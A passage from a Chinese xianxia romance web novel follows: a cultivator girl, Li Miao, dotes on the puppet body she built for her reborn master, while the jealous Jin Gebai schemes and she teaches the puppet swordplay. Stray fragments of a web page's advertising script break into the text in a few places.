“唔……此事须得告知师尊,放心白哥哥,我会努力说服他的。” 梨渺捧住今歌白的手,双眸清澈盈盈。 “……”今歌白僵住了笑颜。 归根到底,她还是向着清宵子,他若不愿,她便不会为他腾出空位。 梨渺偏了偏脑袋,轻盈说道:“这床榻供三人躺也着实小了些,待师尊同意了,白哥哥再帮阿渺造个大些的吧。” 今歌白:“……” 梨渺看着眼前的男子精彩纷呈的脸色,疑惑地张大眼眶。 “白哥哥?” 今歌白合上眼睑,缓慢深吸一口气,认命般垂倒在少女身上,捏着她的下颌,在她耳边低嗔。 “真是我小祖宗。” 梨渺纳闷转去眼珠,白哥哥才奇怪,怎么今日如此多变。 今歌白支起身坐去桌旁木椅,轻轻一拉便将梨渺团进了怀中。 他揽抱着她,托起她的手,看着皓腕上过于醒目的红白指印。 “还疼么?” 梨渺摇头,乌发扫过今歌白唇间,撩心又乱意。 今歌白压低眼睫,轻缓揉抚手中不盈一握的玉臂,低声问道:“清宵子为何会变成那般?” 梨渺:“我也不知,师尊苏醒时,便只记得凡间之事,不知自己乃是清宵剑尊。” “原来如此……” 今歌白戏谑勾了勾唇,只有初出茅庐的凡间记忆,与前世的清宵子相差甚远,又如何能比得上他。 尽管心头仍有诸多怨气,但这条情报却并非坏消息。 今歌白轻抬左臂,二指挑开了桌上油纸包的细绳,拈起一块清凉的糕点,喂到梨渺嘴边。 “是百花糕!” 梨渺一口咬下,品着糕点细腻而丰富的津甜,双手掩唇满足地眯弯了眼。 今歌白嘴角轻翘,阴郁的心情总算纾解了些许。 梨渺昂起头瞧向后上方的面容。 “白哥哥莫要告诉师尊他的过往,他从此只是我的傀儡穆忘朝,不是清净门掌门,也不是清宵剑尊。” 今歌白玩味抚着她的脖颈,目光深不可测。“好,我答应你。” - 海岸旁,青衣少年自沙石里揪出一只螃蟹,看着它发呆。 自他苏醒至此刻,已逾十二时辰,他却丝毫未感觉到饥饿,彻夜未眠,也并不觉身心疲惫。 或许他这副身躯,的确无需似常人一般进食休眠。 可穆忘朝并不愿如此。 螃蟹被吊着细足,在他面前张牙舞爪,他尝试着控制灵力,二指成刃,轻松将它劈成整齐的两半。 螃蟹没了叫嚣的资格,穆忘朝盯着它,内心挣扎片刻,将半截螃蟹身子送到嘴里一口咬下。 硬壳下的肉质弹滑细嫩,尝在口中却巨苦无比,更甚于最难闻的药汤。 穆忘朝强忍住身体的抗拒,反复咀嚼,硬生生将蟹肉吞入腹中,而后便跪趴在地上咳嗽不止。 泪水被逼出眼眶,穆忘朝费了无比多的工夫,才扼住了舌尖直至内府的排斥。 再寻常不过的食物,他都无力消受。 他果真……无法再被称作“人”了罢。 - 梨渺找到穆忘朝时,他竟昏倒在海边。 她心下一惊,快步跑了过去,两手不知如何安放。 “师尊……阿朝!” 少年脸色惨白,衣衫浸湿了大半。 听到梨渺的呼唤,他费力睁开眼,望着她模糊不清的轮廓,干哑出声:“渺渺姑娘……” “你怎么了?”梨渺神色慌张地握住他的手。 跟在梨渺身后缓步而来的今歌白低眸凝视了少焉,轻描淡写道:“中毒之兆。” 梨渺眼眸微张,当即跪坐在少年身侧,两手叠于其腹上,青绿色灵力缓慢注入少年体内。 过了片刻,穆忘朝面容恢复了些暖色,他颤抖着眼睫再度看向梨渺,总算能将那副面容看得清晰。 他不禁滞了神思,少女眉眼间漫溢惊慌担忧之色,那如何是虚假造作所能伪装出的。 渺渺姑娘,为何要如此担心他…… 思绪纷飞的梨渺终于感知到了少年的视线,她断了灵力,按住他的手,眼波粼粼。 “你感觉如何了?” “多谢……我好多了。” 少年声音虚浮,好在已恢复清醒。 梨渺松了口气,瘫坐在地上耷拉着眼,仍然心有余悸。 她怕极了师尊倒在她面前。 她唯恐他如三百年前那般一声不吭地消逝,徒留她缝缝补补,独守空阁。 梨渺内心所想,穆忘朝无从得知,他只见她失魂落魄,好似下一刻便会有豆大的泪珠从那水眸里漏出来。 穆忘朝撑起了上身,出神唤道:“渺渺姑娘……” 梨渺睫羽忽颤,抬眼望向他,柔柔展开笑意。 “阿朝怎会平白中毒?” 穆忘朝一阵心慌,她柔声关怀的言语下,仿佛是对他胡来的质问。 他可分明只是生食了蟹肉而已,如此举动在凡界之间并不少见。 “……我吃了半只螃蟹。”少年低眸坦诚道。 梨渺纳闷地拢眉,“仅仅如此?” 穆忘朝:“……嗯。” 今歌白闻言,不禁扬起了唇角,分外愉悦。 他悠然环望,而后敛了笑意,温声道:“阿渺忘了,这少年魂魄不全,缺少的那非毒一魄,便是根因。” 区区海中之蟹都能摧垮他的身体,真叫人快意。 梨渺眨眨眼,心疼地捧起少年的脸颊,满目怜惜。 “是了,阿朝缺了非毒之魄,便成了极易中毒的脆弱体质,可得万分小心。” 穆忘朝望着她愣神。 原来这超凡身躯还有如此致命的弱点,好在及时察觉…… 今日不过是半只生蟹,便叫他难熬至此,他日若遭遇毒攻,他怕就无力回天了。 梨渺拿袖角轻轻拭去穆忘朝额上的湿沙。 多么柔弱的师尊,今日得了教训,以后便会更听她的话了罢? 瞧少年的脸色依旧欠佳,梨渺淡笑着关怀道:“今日不宜修炼,我回阿朝回房休息。” 穆忘朝精神恍惚,都无力再作出多余的思考,任由梨渺将他搀起。 梨渺挽着他的手臂朝树林走去,经过今歌白身侧时,冷不丁被他按住了肩膀。 今歌白俯下身,低声在她耳边慢语。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“有了这小子,便对白哥哥不管不顾了?” 铁锈般的危险气息拂过耳鼻,梨渺讷然偏过头,冲他甜甜笑道:“阿朝病了,须得有人陪伴,白哥哥若无事,也可来阿渺房中一块儿照顾他的。” 今歌白眼角忽地一抖,这妮子……还真是开朗过头了。 他眸中阴翳翻涌片晌,过后归于平静。 “我等你安顿好他。”他淡笑着说道,叫人看不透情绪。 梨渺爽快点头,搀着穆忘朝离开,仿佛全然未听出今歌白的言下之意。 进到梨渺屋中,穆忘朝望着室内的陈设,终于虚弱开口:“姑娘府中不缺空房,不必非让在下留宿姑娘房间……” 梨渺听到这话便不高兴,缠紧了手臂嗔道:“就要就要!我是主人,你须得听我的!” 穆忘朝眸光暗下一分,心中杂乱。 梨渺瞧他低落,转念一想,和缓了脸色,“阿朝可是怕白哥哥怪罪?不必担心,你是渺渺的夫君,渺渺不会容任何人伤害你的。” 穆忘朝一口气卡在喉咙,猝不及防地猛咳了几声。 梨渺诧然,试探着伸手轻拍他的后背。 虚弱之下的连连咳嗽让少年眼眶红润,他抬眸震惊又狐疑地望着她,一时清醒了不少。 “你方才说……说什么?” 梨渺转了转眼珠,乖巧笑出了梨涡。 “在阿朝醒来之前,我们已经……差点拜过堂了。” 大婚中断,乃是梨渺心中遗憾,她本打算骗过师尊,让他心甘情愿地顺随她,可她仍旧想着,要他亲自同她完成当年未竟的仪式,心思一转,便还是说了实话。 穆忘朝正懵着,梨渺又贴近一分,笑吟吟道:“况且,我们已经圆房了不是嘛。” “!” “什、什么时候?” 少年惨白的脸上意外浮现暖色,他太过惊愕,差点咬伤了舌头。 “就在昨晚呀。” 梨渺说着便面泛欣喜,含羞垂了睫羽,将少年按到座椅上,自己坐到对面,撑着脸颊看着他。 穆忘朝本就惊魂未定,此话一出,他又大脑发蒙,四处飞散的思绪都像撞上了剪刃,瞬间就断开了。 呆滞许久,他注视着少女写满陶醉的双眼,慢声发问:“你确定,是昨晚?” 梨渺点头如捣蒜。 穆忘朝滞涩启唇,却没出声。 他昨晚彻夜未合眼,她不可能趁他意识不清对他动手,她当真只是……拥着他恬静睡了一晚而已。 思绪落于识海之时,穆忘朝冷静地抿上了唇。 最离奇的猜想,却是唯一可能的答案。 先前都是他多虑,渺渺姑娘当真如她外表与举止一般,是个不谙世事的小姑娘。 分明是已至元婴期的高人……怎会如此? 穆忘朝并不知,他过分高估了梨渺的年纪与阅历。 她堪堪五百年生涯,十一年流浪在市井山林,百余年禁足清净门中,余下三百年,便是在这孤岛上潜心为清宵子塑身。 他更不会想起,在清净门中,梨渺从来都只黏着他,师兄师姐的诸多谈论,她都听不明白。 梨渺捧着脸颊,低眸便是春情满溢,她小声嘟囔着:“昨晚我们睡在一张榻上,我抱着阿朝,整夜都密不可分……” 9. 第 9 章 穆忘朝听清她的细语,一时哭笑不得。 梨渺听到少年的低笑,抬眼便看到他目光悠远,笑意如清漪,实在好看极了。 她看呆了一会儿,疑惑出声:“你在笑什么?” 穆忘朝睫羽忽动,笑意如烟散去,怔然看着虚空。 原来他方才,是在笑么。 他平下思绪,幽幽吐出一口气,目光移向梨渺。 “你为何……会想与我成婚呢?” “我只是你偶然拾回的一缕魂魄,不是么。” 少年语气不知为何温柔了些许,梨渺稍愣片刻,支吾道:“我……我遇上你被害时,见你生得好看,我喜欢极了,这才想要救你。” “我每天都与你的人偶待在一块儿,越看越喜欢,这就是……日久生情!” 这番说辞在穆忘朝听来,依旧没什么说服力。 他脑中想起那白衣真君的模样,脑中便不由得会浮现他的种种眼神。 那位真君定十分钟爱渺渺姑娘,他理所当然地认为,他们才是天造地设的一对。 “有白前辈那般出挑的人物陪在身侧,渺渺姑娘……还会钟情于一介凡胎、一具人偶么?” 梨渺迷茫望着他,少年双目平静如水,只这一刻,她却感觉那双眼睛洞悉一切,她低劣的谎言在他的注视下仅仅是在负隅顽抗。 师尊曾经,也会这般看着她。 他这次也与从前一般,没有揭穿她的内心,只略显怅惘地阖了阖眼。 “白哥哥待我很好……” 梨渺垂着眼,木讷地呢喃。 “若阿朝情愿与他人共享渺渺,渺渺再娶了白哥哥,也未尝不可。” 穆忘朝愕极反笑,渺渺姑娘的发言,还真是惊世骇俗啊。 他心中鬼使神差地冒出一句话来。 ——童言无忌。 用如此词汇评价一位元婴真君,他的想法又何尝不惊世骇俗。 梨渺抬起目光,不满地噘了噘唇,“阿朝不愿便罢了,缘何又在笑我。” 穆忘朝捋开沾湿的前摆,颔首温声道:“我孩提之时,也见过街坊中的孩子扮家家酒。” 梨渺不知他怎的岔开了话,琢磨了一会儿,嗔怪道:“我不是小孩子。” 她抓来穆忘朝的手,荷苞般捧着贴在脸旁,清目柔柔:“我是阿朝的妻。” 穆忘朝侧目注视着她,渐渐显出无奈。 少女细腻的手触感极佳,摩挲起来更似有轻羽挠在他心头。 这约莫又是这副过于敏感的人偶之躯在作祟。 穆忘朝轻飘飘转移了话题。“那位白前辈,是何许人也?” 梨渺歪着脑袋沉吟了片晌,直愣愣摇头:“他名今歌白,我也不知他从何处来。” 少年诧然,看他二人熟络的模样,不应只是萍水相逢。 “你二人应当相识许久了罢。” 梨渺:“是呀,都有……” 想到她对穆忘朝隐藏了两千年过往,在时间一事上,她不可避免地卡了壳。 “都有好多好多年啦!当我还在宗门里的时候,就认识白哥哥了。” 穆忘朝:“他并非你的同门?” “嗯!”梨渺点点头,昂着脑袋回想。 “小时候,师尊嘱咐我,步入元婴期之前,不可离开山门半步。师尊还在宗门四周设下了禁制,我无法去到外面,可师兄师姐们却能进出自如,我十分好奇,便不时跑到禁制旁,偷偷往外看。” “因宗门地处偏僻,我极少能望见路过的外人,更别提与旁人说话了。” “有一天,我见到一个陌生女子,她看见我,居然毫发无损地穿过了师尊设下的禁制,来到我的面前。” “我十分惊讶,她对我说了些话,却未告诉我她是谁,只叮嘱我,莫要对宗门中人提起我见过她的事。” “我答应了她,并未向师尊提及,但师尊好似也未察觉她的到来,分明师尊是那般厉害的人物。” 梨渺说到此,又安静得不知在想些什么。 穆忘朝在梨渺的梦呓中,听过她呼唤“师尊”。 那般甜美的语气,让他以为,她十分依赖那人。 然而听渺渺姑娘的描述,她自小便被师父禁足山门之中,师门之中,仅她一人失了自由。 她的师父为何有此决策,叫人在意。 半晌都未等来梨渺的后话,穆忘朝不禁出声:“这与今前辈又有何关系?” 梨渺蓦地回神,抚掌笑道:“哎呀,只想着从头讲,都忘了白哥哥的事了。” 穆忘朝:“……” 梨渺:“分明在那女子到来前的近百年间,我从未与宗门外的人打过照面,然而便在那女子离开后半月,我居然又同外人说上了话。” “那便是白哥哥,他看见了我,朝我微笑,可他却没办法穿越禁制,便只能留在外头同我讲话。” “他告诉了我许许多多的故事,还总给我带好吃的点心。外人没办法平安穿过禁制,可毫无灵力的点心却可以,真是神奇呢。” 穆忘朝一阵沉默,如此听来,真如话本里的故事一样,那位今前辈,才应是渺渺姑娘的良配。 他双手落于膝上,低着眸安静了许久,出声道:“姑娘于两千三百年前拾得在下魂魄,彼时便已离了山门,依照尊师的命令,不入元婴不可离山,故而那时的渺渺姑娘,应当突破了元婴。” “可现在的渺渺姑娘却是元婴中期,依在下了解,两千余年只进步半境元婴,似乎并不合理。” 梨渺愣住,她同师尊讲着过去的事,他竟在盘算她的底细。 真不愧是师尊……连少不经事的他,都这般敏锐。 她眸光轻晃,镇静道:“师尊不在了。” “所以我很早……便离开了。” 搪塞的语句,却又并非假话。 梨渺说起师尊殁了时,句尾仍没忍住发颤。 穆忘朝怔然看向她呆滞的脸,忽然心尖一顿。 “抱歉……” 梨渺幽幽抬起了眼,倏而莞尔一笑,先前那分伤感尽数破散。 “阿朝想听渺渺的故事?我可以慢慢同你讲。” “不过现在……你得先换身衣裳,虽然人偶浸泡不坏,可湿着身,总归不舒爽。” 梨渺说着便去衣柜中托来一套衣衫放在桌上,而后便去抓少年的衣襟。 穆忘朝倏地从座椅上立了起来,睁大眼后退。 “我自己来便好……” 梨渺并不退步,偏偏凑上了前。 穆忘朝靠在墙边退无可退,他捉住少女双手,面露赧然。 “如此……不合礼数。” 梨渺轻弯眼眸,娇柔笑道:“你这身子都是我铸的,每一寸的模样我都了熟于心,主人为傀儡更换衣衫,有何失礼。” 少年愈发耳热,死死握着梨渺的手,不肯让她继续。 梨渺褪了笑容,双目无波地凝视着他泛着青筋的手背,忽而轻歪脖颈,面露怜悯。 “看来阿朝还是习惯把手脚都缚起来。” “如此才能……乖乖由我。” 少女轻飘飘的话语,直让穆忘朝背脊发寒。 他目光不定地注视着面前的姑娘,她一时天真烂漫,一时又冷恶如魔,任性唯我。 他刚以为自己可以放下戒备,却又被她踩在深渊之下,只能无力仰望。 他看不懂她。 心惊魂颤的少年,双手顿然垂落。 梨渺扬起脸,目中霜寒尽融,春意跃涌。 “阿朝真乖。” 她沿着少年前襟剥开衣物,似褪去花苞之外半枯的花萼,勃勃生机尽展眼前。 穆忘朝梗着脖颈,不敢看她,少女指节无意触碰在他胸口,更让他面颊发热,焦躁不安。 梨渺取来帕子,擦拭着他肩胛上晶莹的水渍,她含笑欣赏着他的肉躯,从琵琶骨到胸膛,动作轻柔又细腻。 穆忘朝呼吸深重,五指用力按在了身后的墙面,她每每变换场地,体内的激灵都叫他忍不住扼住气息。 梨渺沉浸其中,怡然自得,喜欢得紧了,她便故意在他腰间按了一把,少年终于按捺不住,闷吭一声,握住她的手,放任喘息。 “求你……莫要再继续了。” 他喉头干涩,出声也哑然失芯。 梨渺抬眸望向他,许是因他尚还虚弱,此刻的脸更是脆弱不堪,别有风韵。 他眸中如有灼火,这样危险的眼神,梨渺晨时恰在今歌白的眸里见过。 她轻轻歪头。 从前在小屋里,她玩得尽兴了,师尊才会紧拧着眉泄出声音,方才她不过轻轻戳了戳,他便受不住了。 如今的师尊,耐力真是比过去要薄弱许多呢。 穆忘朝见她静滞不语,又深深吸了口气,央求般唤道:“渺渺……” 梨渺被这一声动情至深的呼唤触拨了心弦,她恍惚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眨了眨眼,忸怩着颔首应了声。 她后退一步,端起桌上的干净衣裳。 穆忘朝如临大赦,迅速披好了衣裳,还未来得及束腰,梨渺忽然兔子一般扑了上去,抱着少年的腰身笑吟吟抬起头。 “阿朝,你抱起来好舒服!” 穆忘朝愕然张大了眼。 梨渺手掌按上他半敞的前胸,“身体也很好摸!” 少年将出的语句被动荡的内息扼在喉中,他当即捉了梨渺的手,努力控制呼吸。 真是一波未平,一波又起。 平复了半晌,他拢眉看向梨渺,眸光闪烁不定。 “你究竟是懂,还是不懂?” 梨渺不明所以地抬高眼睫,“懂什么?” 穆忘朝无意识摩挲着她的手心,眼神飘忽。 “……懂这些举止的意义。” 梨渺食指触上下唇,眼珠滴溜溜转了半圈。 “我喜欢阿朝,便想同阿朝亲近,亲近阿朝,阿朝会变得和平常不一样,此般变化会令我开心,开心就是意义!” 穆忘朝垂落睫羽,掩下一片深沉。 “那你可知这般举动,将招致何等后果。” 梨渺瘪起嘴纳闷,她都开心了,还能有什么后果? 想当初她亲近了师尊十年,都未曾碰上什么异状。 难道…… 梨渺心头蓦然一震。 难道师尊自燃而死,便是后果。 看到身前少女忽然呆若木鸡,泫然欲泣,穆忘朝怔然张了张眸,阴翳顷刻散去,两眼清澈无物。 不知为何,他竟有些慌神,鬼使神差地抬起手,欲将她揽进臂弯安慰。 然而梨渺却突然纵了出去,窝到床头,抱起一只月白色绢人,失魂落魄看着地面。 穆忘朝茫然无措,不知她想到了何等可怖之事,但她多半误会了他的警醒。 他挪步上前,忘了整理衣裳。 “渺渺姑娘……” 梨渺听到少年的轻唤,她没有回应,只抱紧了怀中的绢人。 穆忘朝半蹲在她身前,内心踟蹰。 “可是想到了不愉快的事?” 梨渺双目无神,师尊前世死因,她是断不能同他讲的。 好不容易铸成了躯体,她却不能像从前那般肆无忌惮。 她究竟该如何做,才能阻止师尊走向死亡…… 穆忘朝没能等来她的回答。 他望着少女沾湿的眼角,只觉心脏隐隐作痛。 这幅身体,好似并不愿见到铸造者难过。 他轻轻覆上少女的手,梨渺身躯一颤,忽然起身远离,呆滞看着他。 “别过来。” 梨渺哑声说罢,便转身跑出了房间。 穆忘朝急迫跟上几步,又恹恹愣在原地。 不是说,同他亲近,会让她开心么…… 梨渺一路小跑至海岸,望着北方看不见的海岸兀自失神。 白衣男子走到她身侧,低声叹道:“怎么了?” 他在亭中等她,本是计划着诱逼她一番,可看到她六神无主地跑出房间,他满腹怨火都蔫了下去。 梨渺立马瘪起嘴,强忍的泪汩汩洒在拧巴的小脸上。 今歌白瞳孔轻缩,当即揽来梨渺的身子,俯首拭泪。 “怎的还哭了?” 认识阿渺这么多年,他只见她哭过一次。 今歌白低眸看向她怀中的月白绢人,阴郁道:“那厮欺负你了?” 梨渺哽咽着抬起头,满眼委屈。 “白哥哥,是不是我一味与师尊亲近,便会让师尊烈火焚身,最终死掉?” 今歌白讶然顿了顿眼珠,稍加思忖,明白了梨渺言语之意。 原来她是这般认为的。 若不听那最后半句,她这话倒也不错。 只不过,此烈火非彼烈火,没想到他当初使的燃心散,还能有这般误导之用。 他压住嘴角,惋惜一叹。 “不料清宵子竟是这般体质,无怪传闻他两千余年都不曾沾过半点情缘。” 梨渺垂下眸,胸中堵得难受。 是不是她小心一点,克制一些,便不会招致恶果呢。 可怎样的程度才算是克制? 今歌白疼惜抚来梨渺的脸,笑意讳莫如深。 “我便不会这般轻易死掉,阿渺尽可与哥哥亲近,哥哥甘愿为阿渺……烈火焚身。” 10. 第 10 章 梨渺望着他深邃的眼,神思却未停落在那墨玉之间。 穆忘朝赶来此方,远远望见那高挑男子搂着少女腰身,轻抚面颊,好一派亲密又和谐的光景。 他颤了颤睫羽,视线忽而模糊一阵,仿佛被数十丈外的海浪打昏了双眸。 梨渺微微启开粘连许久的唇。 她空洞地牵起唇角。 “我想一人待一会儿。” 今歌白深深叹气,抱过少女的脑袋轻轻抚了抚,低语一句后依依不舍地离开。 又一次回避了他的邀请,真是失败。 穆忘朝躲到了树后,静等男子走远。 他背靠着树干,眼眸低垂,心绪难名。 他五指握起又松开,如此反复,似乎在纠结于某种决定。 许久过后,穆忘朝垂落双手,走向沙滩。 听到后方迟疑的脚步声,梨渺抿了抿唇,缓缓回身。 少年停在三丈远,外袍松垮,目光平静忧凉。 少女衣发随风,飘然若离散,眼角映着夕晖,单薄又凄美。 “怪我说了不该说的话,勾起你的伤心事。” 穆忘朝声音清冷,透着愧意。 “我要如何做,才能让你不那么难过。” 梨渺垂首沉默了良久。 “我不知道。” “我需要好好想一想……” 潮声空寂,无人再与之相和。 梨渺扯开唇角勉强笑了笑,缓步走过穆忘朝身侧,轻描淡写道:“庭院东侧还有处宽敞的空房,阿朝便先住在那儿罢。” 穆忘朝错愕看向她。 梨渺顿下步子,侧回首道:“明日辰时,东边树林外,我教你剑法。” 穆忘朝目送她离去,滞在风中怅然若失。 分明这正是他想要的结果…… 可听到少女冷淡疏离的话语,他心中却像压了块重石,令他喘不过气来。 梨渺窝在床头,理着绢人以假乱真的墨发,委屈又不甘地咬唇。 她不想玩这无趣的绢人。 她想触碰师尊,与他亲密无间。 究竟要如何才能避免师尊口中的“后果”呢…… 白哥哥说,他不会因烈火焚身而死,难道……需让师尊与他一般,心甘情愿地为她烈火焚身,才不会招致恶果? 可师尊拒绝了她那么多年,重生一世,依旧抗拒她的触碰。 在死亡的威胁面前,什么血契压制,都失去了本该有的作用。 梨渺咬起了拇指指甲。 她从来都不会讨他人欢心。 若她能像塑造躯体那般捏造情感,便能更改师尊的认知,理所当然地让他爱她。 梨渺走投无路,自认只有这一个方法可实践。 她思索着扭转穆忘朝意识的方法,睁着眼睛一动不动坐了一夜,晨曦降临时,她眸里已铺上了血丝。 梨渺的神识恍然被拉回了现实。 她想起自己还与师尊有约,而此刻已过了辰时。 梨渺滑下床,无精打采地取了两柄剑,走向海岛东侧。 树林之外,有一方被削齐的空地,那是梨渺与今歌白的修炼所。 少年早已在场中等候,见梨渺姗姗来迟,他并未询问,远远便恭敬向她行了一礼。 一夜的时间,都没能让梨渺理清心绪。 此刻看见穆忘朝,她亦不知该如何应对,呆讷地分出一柄剑交到他手上。 “今日教你几招基础剑法。” 清净门中,自然有清宵剑尊的独创剑法。 但梨渺并不想让穆忘朝忆起任何往事,便没那份底气去展露,只打算教他一些各门派与坊市间流传的通用剑法。 穆忘朝见到梨渺眼中血丝时,不可抑制地心惊。 她定然记挂着那伤心事,彻夜未眠。 这一切的起因,都是因为他的无心之言。 渺渺姑娘已那般伤心疲惫,却还要来教他剑法,穆忘朝握着剑柄,只觉手中利器沉重,他受之有愧。 “渺渺身心欠佳,不如改日再教罢。”穆忘朝忍不住轻声出口道。 梨渺目光摇曳一番,才落到了他的脸上。 “阿朝不是想着出海寻仇么,早日习得本事傍身,是你所愿。” 穆忘朝眸光晃动,他动了动唇,惭愧垂下脸,低声道:“也不急于这几日……” “无妨。” 梨渺漫不经心摩挲着剑柄。 “曾经为你铸造身躯时,我每日都是这般过来的。” 穆忘朝内心顿颤,愕然望向少女的脸。 她心不在焉,似乎都并未意识到自己说了些什么话。 穆忘朝相信那并非虚言。 若非今日眼见,他根本不会理解,渺渺究竟为他付出了多少心血。 即便不知其因,即便不明其心,她在他身上的诸多耗费,都不会是虚假。 或许他不该纠结于所谓莫须有的图谋…… 梨渺短叹一声,收了心思,平静看向呆滞中的少年,拔剑出鞘。 “开始罢。” 穆忘朝正了颜色,郑重点下头,心境却未平。 梨渺走向前方,未使灵力,长剑起,踏步旋,衣发翩翩。 这是她在清宵子门下,修习的第一套剑术。 于她而言,并没有什么效用。毕竟除了宗门演习,她从来都未遇到过让她拔剑的机会。 可就是这么一套极其简单的剑招,她都使得十分漂亮。 练得认真、表现出色,会让师尊温柔展颜,仅此而已。 梨渺收剑落于手心,低头看着剑刃上倒映着的眉眼,一时好似回到了五百年前。 “看清了么?”她轻声问道,不经意用上了记忆中清宵子的语气。 “嗯。” 穆忘朝应声,走到场中,提剑身前。 梨渺看着少年流畅的身形,不禁失神。 她才演示一遍,他便都记了下来,动作精准,仿佛已练习过许多遍。 听说师尊天生剑骨,虽筑基偏晚,却早早显露剑术天资,正式踏入仙途后,又刻苦远于常人,成了同龄人中的佼佼者。 两千岁,师尊化神期大圆满,是修真界从古至今,最早迎来渡劫期雷劫之人。 可惜,他没能渡过。 梨渺不知此时穆忘朝的熟稔,究竟是源于他的高超天赋,还是他灵魂之中掩埋的记忆。 穆忘朝练过一遍,转身却见梨渺望着他出神,他心中一顿,谨慎出声:“渺渺姑娘,我方才使的剑,可有何处不妥?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 梨扇动眼睫,满是讷然。“没有……便这般练着吧。” 穆忘朝静止望着她,半晌才应了声。 梨渺看着他毫不停歇地舞了一遍又一遍。 她拿来的剑,只是再寻常不过的货品,而他愈发游刃有余,步伐迅疾,身形飘逸,已初显仙姿。 梨渺看得呆了。 恍惚之间,好似又见到那颀长飘逸的如月谪仙。 她无意识走上前,向那月白色身影伸出手。 穆忘朝发觉少女靠近,中断了练习转回身,却见她纤手轻抬,看他看得入神。 四目相对间,梨渺的梦忽然醒了。 眼前没了剑尊傲岸的身影,只有一个与他面容无差、气质却大相径庭的少年。 梨渺悬空的手指微微动了动,而后若无其事地收了回去。 穆忘朝将她的刻意掩饰都看在眼底,他回想着方才少女的目光,若有所思。 “接下来,尝试将灵气运入剑中,人剑若能统合如一,再朴实的招式,亦能击出破浪之势。” 梨渺生硬开口,无有半句周旋。 她二指划过剑身,挥剑迅如疾风,只一招,剑势划破地层,百丈黄沙惊飞。 穆忘朝惊愕张了张眸。 渺渺曾随口透露,她并不擅长使剑,然而她挥得轻巧,便能有如此威力。 这便是元婴期的底气么。 “你也可以。”梨渺淡定说道。 师尊悟性极高,习剑飞快,又有她的力量供给,很快他便能成为一具实力超群的傀儡。 其实她并不希望他学得那般快。 待他学有所成,她便会陪他离开海岛,遁入尘世。 可在那之前,她能否想出办法让他情愿对她死心塌地,还未可知。 二人独处的时间弥足珍贵,梨渺却不敢再碰他。 眼睁睁看着机会流逝,这感受摧心煎熬,叫她烦躁。 梨渺的变化,让穆忘朝不是滋味。 他始终认为,与人交往应秉持礼性界限,梨渺先前毫无克制地越界,便该是错的。 那个黏人的姑娘终于懂得矜持,不再让他难堪,他理应是庆幸的。 可她不再与他诉说心绪,终日魂不守舍,仿佛只有冷冰冰地教他习剑,才能短暂压制住她的烦闷。 穆忘朝对此并不欢欣。 连他自己都不知,胸中这反常的情绪从何而来。 分明……他与她相识相伴,还不过半月。 傍晚修行结束,梨渺便会回房。 今歌白适时而入,在她房中言语动听地安抚诱哄。 穆忘朝望着对面窗扉上闪烁的人影,心绪恍恍,用力捏紧了门框。 至少,她还有信得过的人,能够纾解她心中郁结。 至少,那元婴真君从不在她房中过夜。 又一夜,穆忘朝在房门口等到了月上中天。 白衣男子离开梨渺房中时,穆忘朝忽地踏步而出,追赶上去。 察觉到少年的跟随,今歌白神色微冷,大好的心情都被怨怒一扫而空。 他停在藤架旁,负起双手,凉幽幽道:“何事找上本君?” 穆忘朝面色端正,俯首微礼,出声温和坚定:“忘朝恳请前辈解惑,渺渺姑娘……心中症结为何。” 11. 第 11 章 今歌白昂首嗤笑,“你怎笃定她是困于心结,而不是对你这玩物厌倦了呢。” 穆忘朝瞳仁蓦地轻颤,他低下眸,略蜷起五指,冷静道:“渺渺姑娘这些日郁郁寡欢,起因皆在于我。她若对我厌倦,便不会在领我修行时,那般认真尽责。” 今歌白半侧回身,凉薄觑向他。 “你想知道,便亲自问她去,何必问我。” 穆忘朝:“我只怕渺渺姑娘,不会对在下吐露实情。” 今歌白冷笑,怕她隐瞒,便不怕他欺诈了? 他轻蔑看着垂首的少年,不禁咂舌。 青涩稚嫩,真是毫无风骨。 要是当年的清宵子,他尚有一斗之兴。对这么个毛头小子,他实在提不起半分兴致。 “穆忘朝,让阿渺与你保持距离,不正是你所望的么。知道内因又能如何,你还想由她欺辱不成?” 今歌白似笑非笑,语气轻巧地诱导。 穆忘朝抿了抿唇。 “……并非欺辱。” 他镇静抬起眸。 “她只是不懂世理,不通常情罢了。” “抛开那些,我只是不愿自己的恩人因为我的无意之举……而坏了心情。” 今歌白轻眯眼角,区区十几岁的少年记忆,居然还能对阿渺作出这般判断。 救命恩人……呵,这种单纯的话,是他真心所想,还是他的说辞呢。 今歌白内心蔑笑,正欲像诱哄梨渺那般,扯个谎将他误导,刚启唇,话却堵在了嘴边。 三丈外,仅裹着中衣的少女身形单薄,正躲在墙角,露着小半截身子看他。 今歌白眼眸微转,淡然牵起唇角。 “解铃还须系铃人,此事小友还是亲自询问阿渺为妙。” 少年双肩低垂,略显失落。 今歌白转身便变了脸色,眸间一点寒芒,大步流星离去。 梨渺望着穆忘朝的背影,寒夜中,少年身披浅月,孤寂而萧瑟。 她听闻他的叹息,缩回了墙角。 穆忘朝转身便见到那轻舞的一截袖摆。 他讶然颤动眸光,“渺渺姑娘,你在吗。” 梨渺仰靠在墙上,明澈双眼倒映星河。 “你方才说的,令我有些怀念。” “曾经也有人……对我有过如此评价。” 不通常情又如何,她只需有对师尊的爱意便好了。 可如今她却想,若她再多懂得一些世间道理,她与师尊的结局,是否便会不一样。 穆忘朝怔然走上前,梨渺却离了身,凉声说道:“明日与我切磋演练,阿朝早些歇息罢。” 少年郁然。 看来,她还是不肯告知他实情啊…… 翌日,梨渺与穆忘朝持剑交战。 少年纵使青涩,使起剑来却毫不含糊,梨渺估摸着,给予他足够力量,他或许能与筑基后期战得不分上下。 依此进度,不消三年时间,他便可纯熟运用她的灵力,发挥堪比元婴之力了。 交手中,梨渺看着认真刻苦的少年,脑中忽而冒出一个想法。 若将他打伤,便能以休养之名,名正言顺地让他继续留在海岛。 毕竟是初次切磋对决,她未掌握好力度,也是情有可原的。 梨渺默默盘算,殊不知少年也藏着一番心思。 自昨夜寻真未果后,穆忘朝便一直思索着,如何才能解开梨渺的心结。 他认为,症结出在“触碰”上。 自他那日警示,渺渺便再也未来触碰他,若能打开这道口,或许便能说服她吐露心迹。 